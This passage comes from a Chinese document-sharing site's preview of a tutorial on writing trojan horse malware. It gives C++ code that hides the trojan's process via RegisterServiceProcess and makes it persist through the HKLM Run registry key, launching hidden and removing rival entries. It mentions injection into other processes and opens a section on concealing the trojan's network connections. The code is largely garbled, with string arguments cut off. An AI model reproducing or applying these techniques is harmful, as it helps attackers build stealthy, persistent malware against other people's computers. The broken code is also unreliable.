第一范文网 - 专业文章范例文档资料分享平台

木马编写教程学习木马编写的好资料

来源:用户分享 时间:2025/7/12 0:32:38 本文由loading 分享 下载这篇文档手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:xxxxxxx或QQ:xxxxxx 处理(尽可能给您提供完整文档),感谢您的支持与谅解。

一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {

try {

DWORD dwVersion = GetVersion(); //取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 {

int (CALLBACK *rsp)(DWORD,DWORD);

HINSTANCE dll=LoadLibrary(\ //装入KERNEL32.DLL

rsp=(int(CALLBACK

*)(DWORD,DWORD))GetProcAddress(dll,\ //找到RegisterServiceProcess的入口 rsp(NULL,1); //注册服务 FreeLibrary(dll); //释放DLL模块 } }

catch (Exception &exception) //处理异常事件 { //处理异常事件 } return 0; }

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run键值来实现自启动的程序:

自装载部分:

HKEY hkey;

AnsiString NewProgramName=AnsiString(sys)+AnsiString(%unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0L, NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,

NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, \

NewProgramName.c_str(), NULL, NULL,

SW_HIDE))>32) {

WantClose=true;

Close(); } else {

HKEY hkey; unsigned long k;

k=REG_OPENED_EXISTING_KEY;

long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0, NULL,

REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,

ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20];

DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl);

if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }

}while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }

自装载程序的卸载代码: int num; char str2[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{

Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num, str, NULL, &type, strv, &vl);

if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break;

}

}while(Suc== ERROR_SUCCESS)

HKEY hkey; unsigned long k;

k=REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

\0, NULL,

REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey, &k); do{

Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,\{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }

}while(Suc== ERROR_SUCCESS) RegCloseKey(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

TRegistry & regKey = *new TRegistry(); regKey.RootKey=HKEY_LOCAL_MACHINE;

regKey.OpenKey(\ersion\\\\\\\\Run\if(!regKey.ValueExists(\{

regKey.WriteString(\

\}

regKey.CloseKey(); delete ®Key;

4、木马程序的建立连接的隐藏

木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

搜索更多关于: 木马编写教程学习木马编写的好资料 的文档
木马编写教程学习木马编写的好资料.doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.diyifanwen.net/c825kf9pgib4n25q6n2cv_5.html(转载请注明文章来源)
热门推荐
Copyright © 2012-2023 第一范文网 版权所有 免责声明 | 联系我们
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:xxxxxx 邮箱:xxxxxx@qq.com
渝ICP备2023013149号
Top